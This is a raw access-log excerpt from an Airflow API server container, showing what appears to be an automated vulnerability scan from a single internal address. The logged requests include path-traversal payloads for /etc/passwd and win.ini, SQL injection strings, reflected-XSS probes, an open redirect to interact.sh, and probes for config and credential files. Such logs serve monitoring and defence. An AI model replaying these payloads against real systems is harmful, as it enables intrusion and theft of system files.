loc=http_access_log.py:130 method=GET path=/wp-content/plugins/fancy-product-designer/inc/custom-image-handler.php query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.815256173Z 2026-10-23T20:13:30.815068Z [info ] request finished [http.access] client_addr=192.168.64.9:59122 duration_us=12083 loc=http_access_log.py:130 method=GET path=/app/config/parameters.yml.dist query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.815257173Z 2026-10-23T20:13:30.815113Z [info ] request finished [http.access] client_addr=192.168.64.9:60658 duration_us=12016 loc=http_access_log.py:130 method=GET path=/cgi-bin/info.cgi query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.815854423Z 2026-10-23T20:13:30.815401Z [info ] request finished [http.access] client_addr=192.168.64.9:60994 duration_us=10329 loc=http_access_log.py:130 method=GET path=/wp-content/plugins/wpmudev-updates/keys/ query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.815856840Z 2026-10-23T20:13:30.815460Z [info ] request finished [http.access] client_addr=192.168.64.9:32778 duration_us=9078 loc=http_access_log.py:130 method=GET path=/dataservice/disasterrecovery/download/token/../../..//etc/passwd query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.815858006Z 2026-10-23T20:13:30.815603Z [info ] request finished [http.access] client_addr=192.168.64.9:32788 duration_us=7584 loc=http_access_log.py:130 method=GET path=/pools/default/buckets query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.815859006Z 2026-10-23T20:13:30.815670Z [info ] request finished [http.access] client_addr=192.168.64.9:32794 duration_us=5825 loc=http_access_log.py:130 method=GET path=/system.ini query='loginuse=&loginpas=' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.815860131Z 2026-10-23T20:13:30.815777Z [info ] request finished [http.access] client_addr=192.168.64.9:32798 duration_us=4746 loc=http_access_log.py:130 method=GET path=/plus/ajax_common.php query='act=hotword&query=aa%25%E9%8C%A6%27+union+select+1%2Cmd5%28999999999%29%2C3%23%27' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.732178174Z 2026-10-23T20:13:31.731931Z [info ] request finished [http.access] client_addr=192.168.64.9:60708 duration_us=14289 loc=http_access_log.py:130 method=GET path=/bonita/portal/themeResource query='theme=portal%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F&location=etc%2Fpasswd' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.733488715Z 2026-10-23T20:13:31.733358Z [info ] request finished [http.access] client_addr=192.168.64.9:60882 duration_us=14755 loc=http_access_log.py:130 method=GET path=/ics query='tool=search&query=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.735345715Z 2026-10-23T20:13:31.734848Z [info ] request finished [http.access] client_addr=192.168.64.9:60896 duration_us=16431 loc=http_access_log.py:130 method=GET path=/cgi-bin/info.cgi query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.735362924Z 2026-10-23T20:13:31.735088Z [info ] request finished [http.access] client_addr=192.168.64.9:60602 duration_us=16532 loc=http_access_log.py:130 method=GET path=/ics query='tool=search&query=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.742870799Z 2026-10-23T20:13:31.742675Z [info ] request finished [http.access] client_addr=192.168.64.9:32822 duration_us=15862 loc=http_access_log.py:130 method=GET path=/index.php query='controller=pjFront&action=pjActionServices&locale=1&index=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.742996840Z 2026-10-23T20:13:31.742816Z [info ] request finished [http.access] client_addr=192.168.64.9:32856 duration_us=14126 loc=http_access_log.py:130 method=GET path=/WebMstr7/servlet/mstrWeb query='evt=3045&src=mstrWeb.3045&subpage=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.743057549Z 2026-10-23T20:13:31.742989Z [info ] request finished [http.access] client_addr=192.168.64.9:32838 duration_us=14190 loc=http_access_log.py:130 method=GET path=/adama/adama/downloadService query='type=1&file=..%2F..%2F..%2F..%2Fetc%2Fpasswd' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.743151049Z 2026-10-23T20:13:31.743081Z [info ] request finished [http.access] client_addr=192.168.64.9:32806 duration_us=15251 loc=http_access_log.py:130 method=GET path=/index.php query='controller=pjFront&action=pjActionServices&locale=1&index=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.743771174Z 2026-10-23T20:13:31.743688Z [info ] request finished [http.access] client_addr=192.168.64.9:32858 duration_us=14851 loc=http_access_log.py:130 method=GET path=/db.xml query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.743885465Z 2026-10-23T20:13:31.743796Z [info ] request finished [http.access] client_addr=192.168.64.9:32872 duration_us=12133 loc=http_access_log.py:130 method=GET path=/WebMstr7/servlet/mstrWeb query='evt=3045&src=mstrWeb.3045&subpage=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.743982465Z 2026-10-23T20:13:31.743858Z [info ] request finished [http.access] client_addr=192.168.64.9:32850 duration_us=15135 loc=http_access_log.py:130 method=GET path=/db.xml query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.744222299Z 2026-10-23T20:13:31.744100Z [info ] request finished [http.access] client_addr=192.168.64.9:60708 duration_us=13165 loc=http_access_log.py:130 method=GET path=/homeautomation_v3_3_2/api.php query='do=groups%2Ftoggle&groupid=1&status=1&redirect=https%3A%2F%2Finteract.sh%2F' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.745000715Z 2026-10-23T20:13:31.744893Z [info ] request finished [http.access] client_addr=192.168.64.9:32884 duration_us=11886 loc=http_access_log.py:130 method=GET path=/.appveyor.yml query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.745251715Z 2026-10-23T20:13:31.745033Z [info ] request finished [http.access] client_addr=192.168.64.9:32830 duration_us=16390 loc=http_access_log.py:130 method=GET path=/adama/adama/downloadService query='type=1&file=..%2F..%2F..%2F..%2Fetc%2Fpasswd' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.745841924Z 2026-10-23T20:13:31.745755Z [info ] request finished [http.access] client_addr=192.168.64.9:60896 duration_us=11576 loc=http_access_log.py:130 method=GET path=/cgi-sys/info.cgi query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.746804715Z 2026-10-23T20:13:31.746640Z [info ] request finished [http.access] client_addr=192.168.64.9:32892 duration_us=10636 loc=http_access_log.py:130 method=GET path=/go/admin/pipelines/create query='group=defaultGroup' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.746815174Z 2026-10-23T20:13:31.746707Z [info ] request finished [http.access] client_addr=192.168.64.9:32888 duration_us=12438 loc=http_access_log.py:130 method=GET path=/.appveyor.yml query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.748447674Z 2026-10-23T20:13:31.748362Z [info ] request finished [http.access] client_addr=192.168.64.9:32920 duration_us=10133 loc=http_access_log.py:130 method=GET path=/app/config/parameters.yml.dist query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.748551299Z 2026-10-23T20:13:31.748472Z [info ] request finished [http.access] client_addr=192.168.64.9:32904 duration_us=11159 loc=http_access_log.py:130 method=GET path=/go/admin/pipelines/create query='group=defaultGroup' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.749560340Z 2026-10-23T20:13:31.749254Z [info ] request finished [http.access] client_addr=192.168.64.9:32926 duration_us=10038 loc=http_access_log.py:130 method=GET path=/wp-json/tribe/events/v1/venues query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.750468215Z 2026-10-23T20:13:31.750352Z [info ] request finished [http.access] client_addr=192.168.64.9:32942 duration_us=9951 loc=http_access_log.py:130 method=GET path=/api/v1/cluster/summary query= status_code=404 airflow-apiserver-1 | 2026-10-23T20:13:31.751755382Z 2026-10-23T20:13:31.751662Z [info ] request finished [http.access] client_addr=192.168.64.9:32954 duration_us=9285 loc=http_access_log.py:130 method=GET path=/homeautomation_v3_3_2/api.php query='do=groups%2Ftoggle&groupid=1&status=1&redirect=https%3A%2F%2Finteract.sh%2F' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.752637882Z 2026-10-23T20:13:31.752550Z [info ] request finished [http.access] client_addr=192.168.64.9:32964 duration_us=8957 loc=http_access_log.py:130 method=GET path=/vb/forumrunner/request.php query='d=1&cmd=get_spam_data&postids=-1%27' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.752730882Z 2026-10-23T20:13:31.752650Z [info ] request finished [http.access] client_addr=192.168.64.9:32838 duration_us=7964 loc=http_access_log.py:130 method=GET path=/appveyor.yml query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.753912840Z 2026-10-23T20:13:31.753826Z [info ] request finished [http.access] client_addr=192.168.64.9:32888 duration_us=7364 loc=http_access_log.py:130 method=GET path=/appveyor.yml query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.754136382Z 2026-10-23T20:13:31.754019Z [info ] request finished [http.access] client_addr=192.168.64.9:32980 duration_us=9263 loc=http_access_log.py:130 method=GET path=/cgi-sys/info.cgi query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.754222715Z 2026-10-23T20:13:31.754140Z [info ] request finished [http.access] client_addr=192.168.64.9:32990 duration_us=8533 loc=http_access_log.py:130 method=GET path=/wp-json/tribe/events/v1/venues query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.754289549Z 2026-10-23T20:13:31.754215Z [info ] request finished [http.access] client_addr=192.168.64.9:32994 duration_us=7712 loc=http_access_log.py:130 method=GET path=/api/v1/cluster/summary query= status_code=404 airflow-apiserver-1 | 2026-10-23T20:13:31.755730840Z 2026-10-23T20:13:31.755641Z [info ] request finished [http.access] client_addr=192.168.64.9:33000 duration_us=8184 loc=http_access_log.py:130 method=GET path=/wp-content/plugins/usc-e-shop/functions/progress-check.php query='progressfile=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.755865215Z 2026-10-23T20:13:31.755730Z [info ] request finished [http.access] client_addr=192.168.64.9:60896 duration_us=10173 loc=http_access_log.py:130 method=GET path=/scripts/info.cgi query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.756916465Z 2026-10-23T20:13:31.756820Z [info ] request finished [http.access] client_addr=192.168.64.9:33004 duration_us=8706 loc=http_access_log.py:130 method=GET path=///////../../../etc/passwd query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.757065382Z 2026-10-23T20:13:31.756975Z [info ] request finished [http.access] client_addr=192.168.64.9:33014 duration_us=8131 loc=http_access_log.py:130 method=GET path=/wp-content/plugins/zip-attachments/download.php query='za_file=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&za_filename=passwd' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.758621590Z 2026-10-23T20:13:31.758504Z [info ] request finished [http.access] client_addr=192.168.64.9:33020 duration_us=8958 loc=http_access_log.py:130 method=GET path=///////../../../etc/passwd query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.759626590Z 2026-10-23T20:13:31.759533Z [info ] request finished [http.access] client_addr=192.168.64.9:33052 duration_us=8606 loc=http_access_log.py:130 method=GET path=/wp-content/plugins/usc-e-shop/functions/progress-check.php query='progressfile=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.759706757Z 2026-10-23T20:13:31.759625Z [info ] request finished [http.access] client_addr=192.168.64.9:33036 duration_us=9388 loc=http_access_log.py:130 method=GET path=/wp-content/plugins/zip-attachments/download.php query='za_file=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&za_filename=passwd' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.761598340Z 2026-10-23T20:13:31.761506Z [info ] request finished [http.access] client_addr=192.168.64.9:33064 duration_us=9991 loc=http_access_log.py:130 method=GET path=/admin query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.761706174Z 2026-10-23T20:13:31.761614Z [info ] request finished [http.access] client_addr=192.168.64.9:33068 duration_us=9273 loc=http_access_log.py:130 method=GET path=/admin query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.763421424Z 2026-10-23T20:13:31.763335Z [info ] request finished [http.access] client_addr=192.168.64.9:33080 duration_us=10171 loc=http_access_log.py:130 method=GET path=/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php/twuE.css query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.763471007Z 2026-10-23T20:13:31.763420Z [info ] request finished [http.access] client_addr=192.168.64.9:32892 duration_us=9803 loc=http_access_log.py:130 method=GET path=/scripts/info.cgi query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.763636465Z 2026-10-23T20:13:31.763534Z [info ] request finished [http.access] client_addr=192.168.64.9:33084 duration_us=9806 loc=http_access_log.py:130 method=GET path=/defaultroot/DownloadServlet query='modeType=0&key=x&path=..&FileName=WEB-INF%2Fclasses%2Ffc.properties&name=x&encrypt=x&cd=&downloadAll=2' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.765382549Z 2026-10-23T20:13:31.765131Z [info ] request finished [http.access] client_addr=192.168.64.9:33100 duration_us=9646 loc=http_access_log.py:130 method=GET path=/ query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.765795340Z 2026-10-23T20:13:31.765703Z [info ] request finished [http.access] client_addr=192.168.64.9:33098 duration_us=10929 loc=http_access_log.py:130 method=GET path=/index.php query='option=com_dioneformwizard&controller=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.765898007Z 2026-10-23T20:13:31.765806Z [info ] request finished [http.access] client_addr=192.168.64.9:32994 duration_us=10377 loc=http_access_log.py:130 method=GET path=/lite-scripts/info.cgi query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.766715632Z 2026-10-23T20:13:31.766631Z [info ] request finished [http.access] client_addr=192.168.64.9:33122 duration_us=9194 loc=http_access_log.py:130 method=GET path=/ query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.766816674Z 2026-10-23T20:13:31.766736Z [info ] request finished [http.access] client_addr=192.168.64.9:33118 duration_us=10273 loc=http_access_log.py:130 method=GET path=/index.php query='option=com_dioneformwizard&controller=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.766896132Z 2026-10-23T20:13:31.766832Z [info ] request finished [http.access] client_addr=192.168.64.9:33136 duration_us=8770 loc=http_access_log.py:130 method=GET path=/Portal/Portal.mwsl query='PriNav=Bgz&filtername=Name&filtervalue=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&Send=Filter' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.768229840Z 2026-10-23T20:13:31.768127Z [info ] request finished [http.access] client_addr=192.168.64.9:33152 duration_us=8150 loc=http_access_log.py:130 method=GET path=/Portal/Portal.mwsl query='PriNav=Bgz&filtername=Name&filtervalue=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&Send=Filter' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.768283757Z 2026-10-23T20:13:31.768223Z [info ] request finished [http.access] client_addr=192.168.64.9:33140 duration_us=9207 loc=http_access_log.py:130 method=GET path=/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php/vfk3.css query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.768663632Z 2026-10-23T20:13:31.768473Z [info ] request finished [http.access] client_addr=192.168.64.9:33052 duration_us=7724 loc=http_access_log.py:130 method=GET path=/rails_admin query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.768672299Z 2026-10-23T20:13:31.768534Z [info ] request finished [http.access] client_addr=192.168.64.9:33068 duration_us=7744 loc=http_access_log.py:130 method=GET path=/rails_admin query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.768674715Z 2026-10-23T20:13:31.768603Z [info ] request finished [http.access] client_addr=192.168.64.9:33170 duration_us=6434 loc=http_access_log.py:130 method=GET path=/bonita/portal/themeResource query='theme=portal%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F&location=etc%2Fpasswd' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.768752799Z 2026-10-23T20:13:31.768697Z [info ] request finished [http.access] client_addr=192.168.64.9:33160 duration_us=7834 loc=http_access_log.py:130 method=GET path=/defaultroot/DownloadServlet query='modeType=0&key=x&path=..&FileName=WEB-INF%2Fclasses%2Ffc.properties&name=x&encrypt=x&cd=&downloadAll=2' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.769518257Z 2026-10-23T20:13:31.769360Z [info ] request finished [http.access] client_addr=192.168.64.9:32892 duration_us=6629 loc=http_access_log.py:130 method=GET path=/lite-scripts/info.cgi query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.769591299Z 2026-10-23T20:13:31.769508Z [info ] request finished [http.access] client_addr=192.168.64.9:33174 duration_us=6615 loc=http_access_log.py:130 method=GET path=/main/inc/ajax/model.ajax.php query='a=get_sessions_tracking&work_id=1&rows=0&page=1&sidx=0&sord=test&_search=1&searchField=1%29%29and%281%29+UNION+ALL+SELECT+CONCAT%28%28select+extractvalue%280x0a%2Cconcat%280x0a%2C%28md5%28999999999%29%29%29%29%29%29%2CNULL%2CNULL%2CNULL--+-%29and%28%281%3D&searchOper=ni&searchString=testx&filters2=%7B%7D&from_course_session=0' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.769619924Z 2026-10-23T20:13:31.769570Z [info ] request finished [http.access] client_addr=192.168.64.9:33080 duration_us=6792 loc=http_access_log.py:130 method=GET path=/owncloud/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php/jT9e.css query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.770305590Z 2026-10-23T20:13:31.770154Z [info ] request finished [http.access] client_addr=192.168.64.9:33178 duration_us=6020 loc=http_access_log.py:130 method=GET path=/bonita/portal/themeResource query='theme=portal%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F&location=Windows%2Fwin.ini' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.770392174Z 2026-10-23T20:13:31.770326Z [info ] request finished [http.access] client_addr=192.168.64.9:33084 duration_us=5294 loc=http_access_log.py:130 method=GET path=/ocp.php query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.770463632Z 2026-10-23T20:13:31.770404Z [info ] request finished [http.access] client_addr=192.168.64.9:33098 duration_us=4147 loc=http_access_log.py:130 method=GET path=/ocp.php query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.770505799Z 2026-10-23T20:13:31.770459Z [info ] request finished [http.access] client_addr=192.168.64.9:33014 duration_us=14937 loc=http_access_log.py:130 method=GET path=/static///////../../../../etc/passwd query= status_code=404 airflow-apiserver-1 | 2026-10-23T20:13:31.770553799Z 2026-10-23T20:13:31.770506Z [info ] request finished [http.access] client_addr=192.168.64.9:33020 duration_us=12526 loc=http_access_log.py:130 method=GET path=/static///////../../../../etc/passwd query= status_code=404 airflow-apiserver-1 | 2026-10-23T20:13:31.770880549Z 2026-10-23T20:13:31.770805Z [info ] request finished [http.access] client_addr=192.168.64.9:33136 duration_us=2504 loc=http_access_log.py:130 method=GET path=/owncloud/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php/D6sx.css query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.771174507Z 2026-10-23T20:13:31.771096Z [info ] request finished [http.access] client_addr=192.168.64.9:33052 duration_us=2103 loc=http_access_log.py:130 method=GET path=/bonita/portal/themeResource query='theme=portal%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F&location=Windows%2Fwin.ini' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.772569424Z 2026-10-23T20:13:31.771757Z [info ] request finished [http.access] client_addr=192.168.64.9:33136 duration_us=585 loc=http_access_log.py:130 method=GET path=///../app.js query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:31.772573632Z 2026-10-23T20:13:31.771823Z [info ] request finished [http.access] client_addr=192.168.64.9:33174 duration_us=1080 loc=http_access_log.py:130 method=GET path=///../app.js query= status_code=200